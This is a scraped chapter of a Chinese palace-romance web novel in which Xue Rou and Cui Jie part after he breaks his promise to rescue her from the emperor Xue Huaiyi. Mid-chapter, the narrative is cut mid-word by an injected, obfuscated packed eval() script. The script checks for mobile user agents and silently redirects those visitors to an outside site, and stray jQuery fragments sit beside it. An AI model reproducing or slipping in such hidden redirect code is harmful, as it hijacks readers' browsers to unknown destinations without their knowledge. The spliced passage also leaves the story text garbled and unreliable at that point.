薛柔和崔介重逢在一个阴雨连绵的上午。


    薛柔不久前才服了药，三喜知她最怕苦，备下新鲜蜜饯给她润喉，可她拒绝了——只有纯粹的辛苦，方能起到警醒她牢记现下束手束脚、任人宰割的作用，如若再添蜜饯，她会忍不住陷入那回味无穷的甘甜之中，从而逃避现实的。


    “崔……介？”


    崔介悄无声息而来，薛柔是从面前的铜镜里看见他的，猝不及防地，久违地。


    在望见她的脸以前，崔介注意到了她如蝶翼般的肩背，一触即碎。


    他的目光，便被钉在了她的背影上。


    “你，又清减了。”


    崔介分明听见，他自己的声音在发颤，明确感知到，自己的心在不断收紧。


    他离开她的日子里，她究竟吃了多少苦，遭了多少罪，他没勇气深究。


    上一瞬仍在牵肠挂肚之人，活生生降临眼前，本应立马窜起身撞到他怀里，喋喋不休诉说连日思念，但薛柔，偏偏做不到，一直透过面前的镜子和他对视。


    “是吗？”薛柔出奇地平静，平静到一定程度，流入了死寂——她的灵气不知不觉被这座金碧辉煌的牢笼耗尽了，“你也是，瘦了，憔悴了。”


    崔老夫人的离世，对他的打击很大吧。


    若将现在的她比作秋日枯萎的柳枝，那他则是冬日结冰的池水，生气全无。


    崔介慢慢向前，站在她单薄的背后，低垂的手无数次想要抬起来去抚摸她的发丝，然而好似断了线的风筝，根本不由他自主，始终难以得偿所愿，总是差那么一点。


    “你怎么说服薛怀义的。”


    崔介的声音清朗悦耳，每每听了，心情会变好，薛柔郁郁寡欢久了，也想重温一下开心的感觉。


    终有这么一刻的，当余夫人死拉着他的衣袖，崔寿拧眉，满含希冀地看着他，他几经犹豫，指甲生生掐在掌心下，做出妥协的时候，崔介便清楚预见，现下面对薛柔随口一问时的愧疚与不堪了。


    “他是不是使卑鄙手段威胁你什么了？”许久等不来崔介的答复，薛柔眉心一跳，快速转身，直上手抓住崔介的袖子，“你告诉我，薛怀义做了什么？”


    崔介沉默不语，眼里翻滚过无数情绪。


    他皱眉，薛柔便随着皱眉，他翕动嘴唇，薛柔便跟着翕动嘴唇，当他终于肯开口之际，换她缄默了。


    “陛下命我随军下西南，平定边陲……我，没理由拒绝。”


    他要去西南，那她呢？


    她该怎么办？


    崔介眼尾流下的泪，猛然刺醒了薛柔，她攥他更紧，语无伦次道：“那我呢？崔介，你告诉我，你走了，我如何自处？”


    问到后面，赫然成了咄咄逼问。


    过了二十年优渥生活，崔介头一次尝到了无能为力的滋味，如鲠在喉，也不敢继续直视她，去面对她字字锥心的质问。


    他不言语，薛柔便用力摇撼他的胳膊，他眼神躲闪，她便四处围堵他的目光。总之，不得到回答誓不罢休。


    “你承诺过我，要来带我回去的，那你又说你要去南边……你是要食言了吗？”


    似乎有一双手伸入心窝，狠狠捏住了心脏，叫崔介抽离不得。


    “……是我出尔反尔，我不是人，我该死，我真该死！”


    崔介忽然扬手，照自己的脸打下去，一下接一下，一下比一下狠厉，仿佛使上了毕生的力气。


    “你住手！”


    他折磨的是自己，疼的人不单是他，还有薛柔。


    除却自扇巴掌，将那可笑的尊严踩在脚底之外，崔介做不到别的，所以，他不能停手，不能轻飘飘放过自己。


    薛柔一把拖住他的手臂，抱在怀里不肯松，眼睛像被洪水淹了：“我不接受这样的结果，我只要你履行诺言，带我走……崔介，你听明白了吗，我要你带我一起走。”


    拴在这方天地，日日面对薛怀义丑恶的嘴脸……她生不如死。


    崔介去南边，她也可以随他去，吃糠咽菜也好，颠沛流离也罢，但凡能彻底甩开薛怀义，她通通可以忍受。


    崔介就是恼恨自己无法义无反顾地带她走，他的身上系着崔氏一族的未来，他若任性，族人性命难保。


    他，不能随心所欲。


    “对不起，对不起，你恨我吧……”


    薛柔忽然笑了，混着满容泪水绽放笑颜，缓缓张开五指，由光滑的绸缎划过掌心，如一场春雨，从空中落下来，被厚厚的泥土所吞灭，什么都不剩，干干净净。


    “骗子，崔介，你是个大骗子。”没有歇斯底里，没有痛哭流涕，她一直笑着，灿若星辰，“我以为，你是值得信任的。原来，是我自作多情、一厢情愿啊。”


    难怪薛怀义每次来寻晦气都是笑容满面的，合着是旁观者清，他早已看破她会沦为一个彻头彻尾的笑话的结局了。


    崔介无颜用家族使命来替自己开脱，更无颜去奢求她的原宥，错就是错了，过程不重要，没能兑现当初的诺言，玩弄了她的真心，就是罪大恶极。


    “全决定了的事，你又来做什么，专门看我这副狼狈样子吗？”


    薛柔胡乱揩干泪痕，倒后两步，与崔介之间相隔一把椅子，却像隔了一条鸿沟，不可逾越。


    崔介不知理智为何物，只凭本能摇头否认。


    她在等他的解释，他肯说，她就相信，而他选择了缄口不言。


    “所以，是专程与我告别的。”因重聚而热起来的心血，渐渐冷了，薛柔径去床前，自枕头下取出一块翠绿的玉，随后向崔介摊开手心，“我不需要了，还给你。”


    玉承载着对他的期望，如今落空了，便没有用处了。


    天际忽然劈开一道闪电，炸雷紧随其后，雨势见猛，黄豆大的雨滴敲打在门窗上，很响，很吵。


    透亮的玉躺在瓷白的掌心，颜色单调，却刺痛了崔介的双目。


    她将玉物归原主，她不需要玉了，也不需要他了。


    他可恶地伤透了她的心。


    “薛怀义给了你多少时辰来这一遭，”薛柔笑问，“半个时辰？一个时辰？”


    薛怀义是个睚眦必报的，既不顾风言风语囚了她，那便绝对不会允许崔介与她待太久，一个时辰是他的极限。


    话音落下的刹那，窗外经过几道人影，俄而，门开了。


    三喜四


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611343|170286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    庆守在门口，纷纷低头屈膝：“陛下。”


    掐指粗略一算，崔介进来有小一个时辰了。


    薛柔心里眼里俱起了雾。


    这之后，她注定与崔介背道而驰了。


    薛怀义款款于薛柔身边站定，衣裳擦着衣裳。


    “谈得如何？”


    他在崔、薛二人之间睃一圈，心中已有八成明白，却纵容明知故问的恶趣味愈演愈烈。


    跟他并排站立，薛柔已觉心烦，刚有意躲远些，肩膀蓦地被人按住了，是薛怀义在作妖：“妹妹手里攥着什么，让朕看看。”


    即便与崔介生了嫌隙，但崔介的东西，仍远远轮不到一介下流种子触碰。


    薛柔死死护着，将玉的边边角角亦包裹严实，提防被薛怀义偷看了去，一面冷笑怼他：“你这皇帝当得未免太清闲了，不把工夫用在朝政上，专门探听别人的家事，传出去也不怕遭世人耻笑。”


    “家事”一词，顺理成章地和他划清了界限。


    “你是朕最亲最爱的妹妹，朕花时间在你身上，谁敢置喙？”薛怀义不屑遮掩过多，直白而露骨地盯住薛柔，“崔大人，你说是也不是。”


    崔介感受到了浓浓的恶意——明晃晃踢开他这个驸马，将薛柔剥离开来，归属为皇帝最亲近宠溺的妹妹；与其打着妹妹的幌子，不如直接说是皇帝的人。


    薛怀义在对他宣示主权。


    “你脸皮厚，不介意名声，我却要脸。”耳畔的挑衅，终于把薛柔逼疯了，不管崔介如何看待，冷脸贬损薛怀义，“父皇若在，岂能容你这副小人得志的面目！”


    薛怀义在笑。


    他等候多日的，一身反骨的薛柔回来了。


    崔介强烈意识到，薛怀义很危险。


    恐薛柔深受其害，他下意识上前，以身躯掩住薛柔，手自动寻上那纤纤手腕，想用力却害怕她会疼，便收敛手劲握住。


    “你起开，我不怕他。”崔介诓骗她，使她万念俱灰，她再不愿安然接受他所谓的庇护，咬牙摔开他的手，后将玉塞入他怀，“你走吧，莫在此添乱了。”


    崔介捂着玉，上面残存着一丝丝温度，是她染上的，心如一座深谷，空落落的，仅有他自己悔恨不及的声音在回荡。


    薛怀义瞟眼窗外，但见电闪雷鸣，大雨如注，贴心地嘱咐程胜：“崔大人走得急，没带伞，你速备马车，送人出宫。”


    距离崔介踏入这间屋子，不多不少，恰好一个时辰。


    薛怀义是个守时之人。


    这一去，就彻彻底底失去薛柔了，崔介无比清楚。


    双腿如千斤重，他拿不开脚步。


    薛柔逃开斜对过充满眷恋的凝视，板着面孔冷冰冰道：“快走吧，别耽误了你的大事。”


    她知晓薛怀义的逼迫及崔介的无奈。


    崔介有一家老小要照管，进退维艰，所以做出了牺牲她的抉择，反正她在薛怀义身边又不会有性命之忧。


    可以理解，如果换做是她，她也会重复他的老路，但不意味着原谅，她不会原谅他，至少现在不会。


    崔介是被程胜半拽出去的，到最后一刻，他都未能得到薛柔回头一顾。